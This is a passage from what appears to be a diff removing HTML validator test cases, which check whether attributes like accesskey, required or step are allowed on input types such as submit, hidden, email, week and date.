-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='move-up'>",
-"input": "<input type=move-up form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='move-up'>",
-"input": "<input type=move-up name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='move-up'>",
-"input": "<input type=move-up value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='move-up'>",
-"input": "<input type=move-up tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='submit'>",
-"input": "<input type=submit accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'replace' attribute on <input type='submit'>",
-"input": "<input type=submit replace>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='submit'>",
-"input": "<input type=submit disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='submit'>",
-"input": "<input type=submit autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'target' attribute on <input type='submit'>",
-"input": "<input type=submit target>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'method' attribute on <input type='submit'>",
-"input": "<input type=submit method>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='submit'>",
-"input": "<input type=submit form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'enctype' attribute on <input type='submit'>",
-"input": "<input type=submit enctype>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='submit'>",
-"input": "<input type=submit name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='submit'>",
-"input": "<input type=submit value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='submit'>",
-"input": "<input type=submit maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'action' attribute on <input type='submit'>",
-"input": "<input type=submit action>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='submit'>",
-"input": "<input type=submit tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='add'>",
-"input": "<input type=add accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='add'>",
-"input": "<input type=add accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='add'>",
-"input": "<input type=add replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='add'>",
-"input": "<input type=add disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='add'>",
-"input": "<input type=add alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='add'>",
-"input": "<input type=add size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='add'>",
-"input": "<input type=add checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='add'>",
-"input": "<input type=add min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='add'>",
-"input": "<input type=add pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='add'>",
-"input": "<input type=add readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'template' attribute on <input type='add'>",
-"input": "<input type=add template>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='add'>",
-"input": "<input type=add autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='add'>",
-"input": "<input type=add target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='add'>",
-"input": "<input type=add method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='add'>",
-"input": "<input type=add form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='add'>",
-"input": "<input type=add max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='add'>",
-"input": "<input type=add step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='add'>",
-"input": "<input type=add enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='add'>",
-"input": "<input type=add src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='add'>",
-"input": "<input type=add name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='add'>",
-"input": "<input type=add required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='add'>",
-"input": "<input type=add list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='add'>",
-"input": "<input type=add value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='add'>",
-"input": "<input type=add autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='add'>",
-"input": "<input type=add inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='add'>",
-"input": "<input type=add maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='add'>",
-"input": "<input type=add action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='add'>",
-"input": "<input type=add tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accesskey' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden accesskey>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='hidden'>",
-"input": "<input type=hidden disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autofocus' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden autofocus>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='hidden'>",
-"input": "<input type=hidden form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='hidden'>",
-"input": "<input type=hidden name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='hidden'>",
-"input": "<input type=hidden value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'tabindex' attribute not allowed on <input type='hidden'>",
-"input": "<input type=hidden tabindex>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='email'>",
-"input": "<input type=email accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='email'>",
-"input": "<input type=email accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='email'>",
-"input": "<input type=email replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='email'>",
-"input": "<input type=email disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='email'>",
-"input": "<input type=email alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='email'>",
-"input": "<input type=email size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='email'>",
-"input": "<input type=email checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='email'>",
-"input": "<input type=email min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'pattern' attribute on <input type='email'>",
-"input": "<input type=email pattern>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='email'>",
-"input": "<input type=email readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='email'>",
-"input": "<input type=email template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='email'>",
-"input": "<input type=email autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='email'>",
-"input": "<input type=email target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='email'>",
-"input": "<input type=email method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='email'>",
-"input": "<input type=email form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='email'>",
-"input": "<input type=email max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='email'>",
-"input": "<input type=email step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='email'>",
-"input": "<input type=email enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='email'>",
-"input": "<input type=email src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='email'>",
-"input": "<input type=email name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='email'>",
-"input": "<input type=email required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='email'>",
-"input": "<input type=email list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='email'>",
-"input": "<input type=email value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='email'>",
-"input": "<input type=email autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'inputmode' attribute on <input type='email'>",
-"input": "<input type=email inputmode>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'maxlength' attribute on <input type='email'>",
-"input": "<input type=email maxlength>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='email'>",
-"input": "<input type=email action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='email'>",
-"input": "<input type=email tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='week'>",
-"input": "<input type=week accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='week'>",
-"input": "<input type=week accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='week'>",
-"input": "<input type=week replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='week'>",
-"input": "<input type=week disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='week'>",
-"input": "<input type=week alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='week'>",
-"input": "<input type=week size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='week'>",
-"input": "<input type=week checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='week'>",
-"input": "<input type=week min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='week'>",
-"input": "<input type=week pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='week'>",
-"input": "<input type=week readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='week'>",
-"input": "<input type=week template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='week'>",
-"input": "<input type=week autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='week'>",
-"input": "<input type=week target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='week'>",
-"input": "<input type=week method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='week'>",
-"input": "<input type=week form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='week'>",
-"input": "<input type=week max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='week'>",
-"input": "<input type=week step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='week'>",
-"input": "<input type=week enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='week'>",
-"input": "<input type=week src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='week'>",
-"input": "<input type=week name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='week'>",
-"input": "<input type=week required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='week'>",
-"input": "<input type=week list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='week'>",
-"input": "<input type=week value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='week'>",
-"input": "<input type=week autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='week'>",
-"input": "<input type=week inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='week'>",
-"input": "<input type=week maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='week'>",
-"input": "<input type=week action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='week'>",
-"input": "<input type=week tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='date'>",
-"input": "<input type=date accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='date'>",
-"input": "<input type=date accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='date'>",
-"input": "<input type=date replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='date'>",
-"input": "<input type=date disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='date'>",
-"input": "<input type=date alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='date'>",
-"input": "<input type=date size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='date'>",
-"input": "<input type=date checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='date'>",
-"input": "<input type=date min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='date'>",
-"input": "<input type=date pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='date'>",
-"input": "<input type=date readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='date'>",
-"input": "<input type=date template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='date'>",
-"input": "<input type=date autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='date'>",
-"input": "<input type=date target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='date'>",
-"input": "<input type=date method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='date'>",
-"input": "<input type=date form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='date'>",
-"input": "<input type=date max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='date'>",
-"input": "<input type=date step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='date'>",
-"input": "<input type=date enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='date'>",
-"input": "<input type=date src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='date'>",
-"input": "<input type=date name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='date'>",
-"input": "<input type=date required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='date'>",
-"input": "<input type=date list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='date'>",
-"input": "<input type=date value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='date'>",
-"input": "<input type=date autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='date'>",
-"input": "<input type=date inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='date'>",
-"input": "<input type=date maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='date'>",
-"input": "<input type=date action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='date'>",
-"input": "<input type=date tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='datetime'>",
-"input": "<input type=datetime accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='datetime'>",
-"input": "<input type=datetime disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='datetime'>",
-"input": "<input type=datetime min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='datetime'>",
-"input": "<input type=datetime readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='datetime'>",
-"input": "<input type=datetime autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='datetime'>",
-"input": "<input type=datetime form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='datetime'>",
-"input": "<input type=datetime max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='datetime'>",
-"input": "<input type=datetime step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='datetime'>",
